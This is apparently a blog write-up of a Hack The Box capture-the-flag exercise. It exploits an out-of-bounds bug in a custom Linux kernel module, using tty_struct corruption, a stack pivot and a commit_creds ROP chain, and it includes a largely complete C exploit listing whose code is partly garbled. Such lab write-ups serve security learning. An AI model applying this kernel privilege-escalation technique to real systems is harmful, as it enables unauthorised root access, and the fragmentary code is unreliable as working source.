Digging to the bottom. Escalating privileges to root with kernel exploitation techniques on a Hack The Box virtual machine

This article discusses one of the most sophisticated PWN topics: kernel exploitation in Linux. You are about to learn what tools are required for kernel debugging, what are LKM, KGDB, IOCTL, and TTY, and many other exciting things!

The two previous articles, Secrets of V8 Engine and The big heap adventure, explain how to capture the flag of the user r4j on the hardcore RopeTwo virtual machine available on Hack The Box. To escalate your privileges to root, you have to take one last step – but this step is BIG! Prepare to deal with ROP (yes, this is why the VM was named this way) and kernel exploitation. Your brain will be melting, I promise! Get your popcorn debugger ready and let’s get started!

Intelligence collection

Similar to the user flag (see the previous article), I run LinPEAS and examine the output. Two suspicious lines immediately attract my eye:

[+] Looking for Signature verification failed in dmseg
[ 13.882339] ralloc: module verification failed: signature and/or required key missing - tainting kernel
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko

As you can see, an unsigned kernel module has been loaded to the system by the root user, and this module is available for reading. This indicates that kernel exploitation is inevitable!

Static analysis

First of all, I download ralloc.ko and unleash Ghidra on it.

It turns out that ralloc is an LKM (loadable kernel module) that performs various operations with memory after receiving ioctl system calls. In fact, this is a self-written memory management driver (according to the author, a superfast memory allocator) that obviously isn’t free from vulnerabilities.

An LKM is an object file containing code that extends the capabilities of the system kernel. This particular module implements only four functions:

  • allocate memory in the kernel address space (kmalloc) – call ioctl 0x1000;
  • free memory in the kernel address space (kfree) – call ioctl 0x1001;
  • copy information from the user address space to the kernel address space (memcpy(kernel_addr, user_addr, size)) – call ioctl 0x1002; and 
  • copy information from the kernel address space to the user address space (memcpy(user_addr, kernel_addr, size)) – call ioctl 0x1003.

Below is the disassembled listing of these functions in the readable form:

case 0x1000: // Function that allocates kernel memory
if ((size < 0x401) && (idx < 0x20)) {
if (arr[idx].size== 0) {
ptr = __kmalloc(size, 0x6000c0);
arr[idx].data = ptr;
if (ptr != 0) {
arr[idx].size = size_alloc + 0x20;
return_value = 0;
case 0x1001: // Function that frees kernel memory
if ((idx < 0x20) && arr[idx].data != 0)) {
arr[idx].size = 0;
return_value = 0;
case 0x1002: // Function that copies from user space to kernel space
if (idx < 0x20) {
__dest = arr[idx].data;
__src = ptrUserSpace;
if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
if ((ptrUserSpace & 0xffff000000000000) == 0) {
memcpy(__dest, __src, size & 0xffffffff);
result = 0;
case 0x1003: // Function that copies from kernel space to user space
if (idx < 0x20) {
__dest = ptrUserSpace;
__src = arr[idx].data;
if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
if ((ptrUserSpace & 0xffff000000000000) == 0) {
memcpy(__dest, __src, size & 0xffffffff);
result = 0;

Take a good loook at the above listing. You may notice the vulnerability right away, it’s glaring! In the meantime, I am going to deploy the test system.

Test system

Kernel debugging requires a VM. To be specific, two VMs, not one! The first VM will be the host where the kernel with debug symbols is installed and where the GDB debugger is running. The second one will run in the KGDB mode (Linux kernel debugger). The two VMs can communicate either over a serial port or over a local network. Below is a scheme illustrating this process.

Debugging Linux kernel
Debugging Linux kernel

Several virtualization environments can be used to deploy the test system: VirtualBox, QEMU (the simplest option), or VMware. I chose the first variant. If you want to practice with QEMU, a good tutorial is available on GitHub.

Below is a video explaining in detail how to configure VirtualBox for kernel debugging.

Prior to taking any steps, two main aspects must be clarified. First, what kernel version is used on RopeTwo?

r4j@rope2:~$ lsb_release -r && uname -r
Release: 19.04

So, I download and deploy a VM with Ubuntu 19.04. Then I install the required kernel version (as well as my favorite debugging tools and utilities):

apt-get install linux-image-5.0.0-38-generic

Now it is time to clone the VM. The kernel with debug symbols has to be loaded to the host. For this purpose, I need the file linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb (838.2 MiB).

The kernel debugging mode (KGDB) has to be enabled on the target VM. First, I configure the loader by editing two lines in the file /etc/default/grub:

GRUB_CMDLINE_LINUX_DEFAULT="consoleblank=0 nokaslr"

Thus, I instruct KGDB to listen for debugger connections on the ttyS0 port and disable KASLR (kernel address space layout randomization) and console clearing.

Then I execute the update-grub command to write the parameters to the loader. To make sure that the settings have been saved in the GRUB config, check the file /boot/grub/grub.cfg.

If I wanted to debug the kernel itself, I would have to add the kgdbwait parameter to instruct the loader to stop prior to loading the kernel and wait for a GDB connection from the host. But since I am interested in an LKM, not the kernel per se, this isn’t necessary.

Next, I make sure that debug interrupts are enabled in the system:

root@target:/boot# grep -i CONFIG_MAGIC_SYSRQ config-5.0.0-38-generic

as well as the current interrupt flags:

cat /proc/sys/kernel/sysrq

On the target VM, I enable all Magic system interrupt functions:

echo "1" > /proc/sys/kernel/sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.d/99-sysctl.conf

More details on this matter are available in the documentation.

Now, if you enter the command echo g > /proc/sysrq-trigger, the system will freeze and wait for the debugger to connect.

Finally, I have to connect the host and the target together. To do this, I enable Serial Port in the settings on both VMs. On the target VM, it looks as follows.

Serial port settings on the target VM
Serial port settings on the target VM

On the host VM, it looks like shown below.

Serial port settings on the host VM
Serial port settings on the host VM

Note that the “Connect to existing pipe/socket” checkbox must be checked on the host! Accordingly, I launch the target VM first and the host VM second.

Now everything is ready for debugging, and I run the debugger.

Checking whether the KGDB debugger is running
Checking whether the KGDB debugger is running

Also, KGDB can be activated in VirtualBox by the ‘magic’ keyboard shortcut: Alt-PrintScr-g.

I copy the ralloc.ko module to the target VM and load it using the command insmod ralloc.ko. The main commands used to interact with the kernel modules are:

  • depmod – display list of dependencies and linked map files for kernel modules;
  • insmod – load module to the kernel;
  • lsmod – display current status of kernel modules;
  • modinfo – display information on kernel module;
  • rmmod – remove module from the kernel;
  • uname – display system information.

After loading the module, you can use the command grep ralloc /proc/kallsyms to view its address map. Remember this command: it will be needed more than once in the near future.

Address map of the ralloc module
Address map of the ralloc module

For debugging purposes, I will need the addresses of the .text, .data, and .bss sections:

root@target:~# cd /sys/module/ralloc/sections && cat .text .data .bss

Let’s see what protection mechanisms are enabled in the kernel.

r4j@rope2:~$ cat /proc/cpuinfo | grep flags
flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid
pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic
cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt
sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor

As you can see, SMEP is enabled, while SMAP is not. This can be verified as follows:

r4j@rope2:/tmp$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.0.0-38-generic root=UUID=8e0d770e-1647-4f8e-9d30-765ce380f9b7 ro maybe-ubiquity nosmap

Supervisor mode execution protection (SMEP) and supervisor mode access prevention (SMAP) are security functions used by the last generations of CPUs. SMEP prevents code execution from the kernel mode in the user address space, while SMAP prevents accidental access to the user address space from the kernel mode. These options are controlled by switching on certain bits in the CR4 register. More information on this matter is available in the Intel documentation (PDF).

KASLR is enabled as well (this is the default variant in new versions of Linux kernel).

Writing exploit

So, what vulnerability is present in ralloc? The answer is in the line arr[idx].size = size_alloc + 0x20;: you can read and write 32 bytes more than the actual size of allocated memory is. Not bad! But how to use this for exploitation?

After reviewing a bunch of kernel exploitation examples (most of them are in Chinese; so, use Google Translate), an action plan emerges in my head. The first thing to pay attention to is that the maximum size of a memory slab is 1024 bytes. And there is another well-known structure that uses the same size: tty_struct.


The TTY core uses tty_struct to control the current status of a specific port.

If you allocate two adjacent memory slabs and then free the second one and call a pseudoterminal, chances are high that the kernel memory manager loads tty_struct to the just-freed slab. Accordingly, you will be able to read and write the first 32 bytes of this structure using the OOB (out-of-bounds) vulnerability. This allows to read and overwrite the *ops pointer located at the beginning of tty_struct and containing the address of ptm_unix98_ops and calculate the kernel base address on the basis of its offset. If you know this address, you can construct a ROP chain, place it at a specific address, and redirect the stack pointer to it. To do so, you have to replace the *ops pointer with a faketty_operations structure whose ioctl pointer is substituted with the xchg eax esp gadget. In theory, this plan should work, let’s try to implement it.

I am going to use the oldie-goodie C language to write the exploit. As usual, I start with creating the helper functions. In fact, it’s just one function called by macros with the required parameters:

void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
long int arg[3]={idx,size,data};
int ret = ioctl(fd, cmd, &arg);

Now let’s check whether tty_struct can be loaded to the freed memory slab. As you remember, I need the pointer to ptm_unix98_ops. First, I find its address:

root@target:~# grep ptm_unix98_ops /proc/kallsyms
ffffffff820af6a0 r ptm_unix98_ops

Then I use the code below (to save space, I provide only the key lines of code here; the full code for compilation can be restored from the exploit source code at the end of the article):

tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
kernel_to_user(fd, 1, 0x420, data);
for(int i=128;i<132;i+=2){
printf("%016llx | %016llx\n",data[i],data[i+1]);

/dev/ptmx is used to create a pair of pseudoterminals: the master and the slave. When a process opens /dev/ptmx, it gets the file descriptor for the pseudoterminal master (PTM), while the pseudoterminal slave (PTS) is created in the /dev/pts folder.

I compile the code using the gcc -static tty_test.c -o tty_test command and see what happens.

The -static key instructs the compiler to include all the required libraries in the binary file.

artex@target:~$ ./tty_test
59dfb48431ee39b3 | 0000000000000000
ffff8881923f9cc0 | ffffffff820af6a0

After a few runs, I see the much-desired pointer to ptm_unix98_ops!

But sometimes I see only junk or zeros. Let’s use GDB to find out why this happens.

I modify the code:

user_to_kernel(fd, 2, 0x400, data);
kernel_to_user(fd, 1, 0x420, data);

My goal is to allocate two slabs, write data to the second one, and read the first 32 bytes by addressing the first one. I compile my test program and run it several times only to see that I get the 0xdeadbeef sequence not every time. Let’s check this in GDB.

First, I make interrupt on the target, load the ralloc addresses to GDB running on the host, and set a breakpoint prior to the __kmalloc function call (the offset from the beginning of rope2_ioctl is 0x156):

add-symbol-file ralloc.ko 0xffffffffc03fa000 -s .data 0xffffffffc03fc000 -s .bss 0xffffffffc03fc4c0
b *0xffffffffc03fa156

The sequence of actions performed in GDB should be as follows:

__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
Value returned is $1 = (void *) 0xffff88818c968000
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
Value returned is $2 = (void *) 0xffff888191c2b400

The step command allows me to proceed to the next instruction (i.e. call the kmalloc function); while the finish command, to get the value returned by it.

I see that the addresses of the two slabs don’t come one after another (to be specific, this happens sometimes, but not in every instance). Therefore, before freeing the memory for tty_struct, I have to insert a slab adjacency check. For this purpose, I use a loop with an algorithm similar to the above check (see the exploit code at the end of the article).

After finding the adjacent slabs and writing tty_struct to the freed memory slab, I will be able to read the required address and calculate the kernel base on its basis. Now it is time for the most exciting part: ROPchain.

The first step is modeling. I need a function enabling me to escalate my privileges to root. One of the most feasible variants is the function commit_creds(prepare_kernel_cred(NULL));. If I call commit_creds on behalf of the system and pass prepare_kernel_cred(NULL) to it as a parameter, the UID of my process will become 0. This happens because after receiving NULL as a parameter, prepare_kernel_cred returns the credentials of the initialization process to init_cred, and these credentials correspond to the root credentials. It’s also possible to pass the init_cred structure itself to thecommit_creds function, and am going to do so. More information about credentials in Linux can be found in the official documentation.

Since SMEP is enabled, I cannot execute the code in the user space and have to use gadgets from the system kernel. Alternatively, I can disable SMEP by placing the 0x6f0 value to the cr4 register. You may try to implement this variant as an exercise, but I am going to use the first option. The following operations have to be performed:

  • place init_cred (first parameter of the function) to the RDI register;
  • call commit_creds; and 
  • gently return to the user context (trying not to break anything) and run a shell.

The iretq instruction allows to switch between contexts, but prior to calling it, I have to execute the swapgs instruction to restore the value of IA32_KERNEL_GS_BASE MSR (model-specific register). When you switch to the kernel mode (for instance, by calling syscall), swapgs is called to get a pointer to kernel data structures; accordingly, when you return to the user space, this value has to be returned back to MSR. A detailed description of swapgs can be found on the website of Felix Cloutier. In addition, the iretq instruction requires a specific stack structure for correct return to the user space.

Stack structure required by iretq
Stack structure required by iretq

Therefore, I have to save the values of these registers prior to calling the ROPchain and restore them when I return to the user space. The following function can be used to save registers:

"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"

Now all I have to do is find ROP gadgets and create a ROPchain.

Several different utilities can be used to find ROP gadgets, including ROPgadget, xrop, and ropper. They employ different search algorithms; so, the resultant gadget lists can be slightly different. If a utility cannot find a certain gadget, try another one. I have to perform the following operations:

  • unpack the kernel;
  • identify the boundaries of the .text segment (gadgets from other areas often don’t work); and 
  • install and run ROPgadget and save all the found gadgets to a file.

root@target:/boot# /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux vmlinuz-$(uname -r) > vmlinux
root@target:/boot# egrep " _text$| _etext$" System.map-5.0.0-38-generic
ffffffff81000000 T _text
ffffffff81e00e91 T _etext
ROPgadget –binary vmlinux –range 0xfffffff81000000-0xffffffff81e00e91 | sort > rgadget.lst

I use the grep command to find addresses of the required gadgets in rgadget.lst and addresses of init_cred and commit_creds in /proc/kallsyms (this will be your homework). The objdump command is used to find iretq in the kernel:

root@target:/boot# objdump -j .text -d vmlinux | grep iretq | head -1

After finding the addresses, I have to calculate their offsets from the base address (because KASLR is enabled on the server, and I have no choice but to deal with offsets). For this purpose, I write the following macros:

#define BASE 0xffffffff81000000
#define OFFSET(addr) ((addr) - (BASE))
#define ADDR(offset) (kernel_base + (offset))

The resultant ROPchain is as follows:

unsigned long long rop_chain[] = {
// Place init_cred (first parameter of the function) into RDI
// Execute commit_creds(init_cred)
// and make the process UID equal to 0 (root)
// Swap (i.e. restore) values of the registers
// Dummy for pop rbp in the swapgs gadget
// Switch context to the user space
// Run shell
// Restore the registers

And the last and most important step is to ‘switch’ the RSP register (the one containing the stack pointer) in the kernel stack so that it points to my ROPchain and get a shell. As you remember, I wrote tty_struct to the freed memory slab; so, now I can overwrite the first 32 bytes in this structure. The beginning of the structure looks as follows:

int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8
// offset = 4 + 4 + 8 + 8 = 24 bytes = 0x18

I can ‘forge’ the tty_operations structure and substitute this pointer with my fake structure. What will I get? Below is the beginning of tty_operations (see its full description here):

struct tty_operations {
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */

Its thirteenth element is the pointer to ioctl. If I substitute this pointer, call ioctl, and pass to it the fd (file descriptor) that has returned ptmx, then I will be able to call the required instruction.

I want to replace RSP with the required address; so, I substitute *ioctl with the address of the gadget xchg eax, esp; ret;. This address will be contained in rax when ioctl is called; accordingly, my gadget xchg will ‘switch’ the stack pointer to the address ADDR(xchg_eax_esp) & 0xFFFFFFFF (the 32 least-significant bits in rax). This is where I am going to write my ROPchain!

Below is the exploitation scheme.

Exploit algorithm
Exploit algorithm

For debugging purposes, I set a breakpoint at xchg_eax_esp (break *0xffffffff8104cba4), take a step forward (step), and make sure that the kernel stack pointer now ‘looks’ at my ROPchain.

ROPchain in the debugger
ROPchain in the debugger

The exploit is ready; below it its full listing:

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#define CMD_ALLOC 0x1000
#define CMD_FREE 0x1001
#define CMD_USER_TO_KERNEL 0x1002
#define CMD_KERNEL_TO_USER 0x1003
#define BUF_SIZE 0x400
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
/* Macros used to call ralloc functions */
#define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC)
#define del(fd, idx) call_ralloc(fd, idx, 0, 0, CMD_FREE)
#define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_USER_TO_KERNEL)
#define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_KERNEL_TO_USER)
/* Macros used to calculate addresses' offsets */
#define BASE 0xffffffff81000000
#define OFFSET(addr) ((addr) - (BASE))
#define ADDR(offset) (kernel_base + (offset))
unsigned long kernel_base = 0;
/* ROP Gadgets */
typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
commit_creds_func commit_creds = (commit_creds_func) OFFSET(0xffffffff810c0540); // commit_creds
size_t init_cred = OFFSET(0xffffffff8265fa00); // init_cred
size_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; ret;
size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi; ret;
size_t iretq = OFFSET(0xffffffff810379fb); // iretq
size_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret;
/* Variables used to save the user context */
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
unsigned long data[0x420]; // Array for operations with ralloc
size_t fake_tty_operations[30]; // Array used to substitute the ioctl pointer
/* Function for interaction with the ralloc driver */
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
long int arg[3]={idx,size,data};
int ret = ioctl(fd, cmd, &arg);
if (ret < 0) {
err_exit("[!] user_to_kernel copy error");
err_exit("[!] kernel_to_user copy error");
/* Function that calls the shell */
void shell() {
puts("-=Welcome to root shell=-");
/* Function that saves the state of the registers */
static void save_state() {
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"
int main () {
bool isTRY = true;
while (isTRY) { // Continue attempts until the address of ptm_unix98_ops is found
int index=0x20;
int tty_fd;
/* Open file descriptor for the driver */
int fd = open("/dev/ralloc", O_RDONLY);
if (fd < 0) {
err_exit("[!] open /dev/ralloc");
size_t ptr = 0;
data[3]=0xdeadbeef; // Value used to check whether the slabs are adjacent
int fake_stack=0;
/* Loop that searches for adjacent slabs */
puts("[+] Searching adjacent slabs");
for(int j=0; j<0x20; j+=2) {
del(fd,j); // Frozen descriptors clean up
user_to_kernel(fd, j+1, BUF_SIZE, data);
kernel_to_user(fd, j, 0x420, data); // Read 32 bytes out of bound
/* Check whether the slabs are adjacent */
if (data[131]==0xdeadbeef) {
puts("[+] Adjacent slabs found");
if (index==0x20) {
puts("[-] Adjacent slabs not found, one more time..\n");
} else {
/* Adjacent slabs found */
puts("[+] Inserting tty_struct");
/* Try to place tty_struct to the newly-freed slab */
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
kernel_to_user(fd, index, 0x420, data); // Read 32 bytes out of bound
/* Compare the value in the freed slab + 0x18 with the mask of the ptm_unix98_ops address (its last bytes are always equal to 6a0) */
ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ? data[131] : 0);
if (ptr != 0) {
printf("[+] ptm_unix98_ops address found: %p\n",data[131]);
kernel_base = data[131]-OFFSET(0xffffffff820af6a0); // Calculate kernel_base on the basis of the offset of ptm_unix98_ops
printf("[+] Kernel base address is %p\n", kernel_base);
fake_tty_operations[12] = ADDR(xchg_eax_esp); // Write the address of the xchg eax esp instruction instead of the ioctl pointer
printf("[+] fake_tty_operations.ioctl is %p\n", fake_tty_operations[12]);
puts("[+] Preparing ROP chain");
unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF; // Get 32 least-significant bits of the xchg_eax_esp (stack pivot) address
printf("[+] Lower_address is %p\n", lower_address);
unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // Prepare base for the fake stack in the user space
/* Allocate memory for the fake stack */
if (fake_stack == MAP_FAILED)
err_exit("[-] mmap");
printf("[+] Payload is mmaped to %p\n", fake_stack);
/* ROPchain */
unsigned long long rop_chain[] = {
// Place init_cred (first parameter of the function) into RDI
// Execute commit_creds(init_cred) and make the process UID equal to 0 (root)
// Swap (i.e. restore) values of the GS and MSR registers (IA32_KERNEL_GS_BASE)
// Dummy for pop rbp in the swapgs gadget
// Switch context to the user space
// Run shell
// Restore the context registers
/* Copy ROPchain to the address that will substitute RSP */
memcpy(lower_address, rop_chain, sizeof(rop_chain));
data[131]=&fake_tty_operations; // Place pointer to fake_tty_operations in the data array
puts("[+] Writing function pointer to the driver");
/* Replace the *tty_operations pointer */
user_to_kernel(fd, index, 0x420, data);
puts("[+] Triggering");
/* Call ioctl and launch the exploit chain */
ioctl(tty_fd, 0, 0);
puts("[*] ptm_unix98_ops not found, one more time...\n");
return 0;

However, after returning to the user space, my exploit crashes with a “Segmentation fault” error. For a ‘regular’ app, this would be a problem, but for exploit, it’s a benefit! After getting this signal, I can bind the shell launch to it, thus, making the exploit even more universal.

So, I add the header file signal.h to the source code and intercept the SIGSEGV signal using the signal(SIGSEGV, shell); function:

#include <signal.h>
int main () {
bool isPTM = true;
signal(SIGSEGV, shell); // Add interception of the SIGSEGV signal

Finally, everything is ready, and I grab the much-desired root flag!

Getting root!
Getting root!

I hope that you have learned some new stuff from this article and that it was of interest to you. No doubt, this information will be useful in your pentesting endeavors!

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>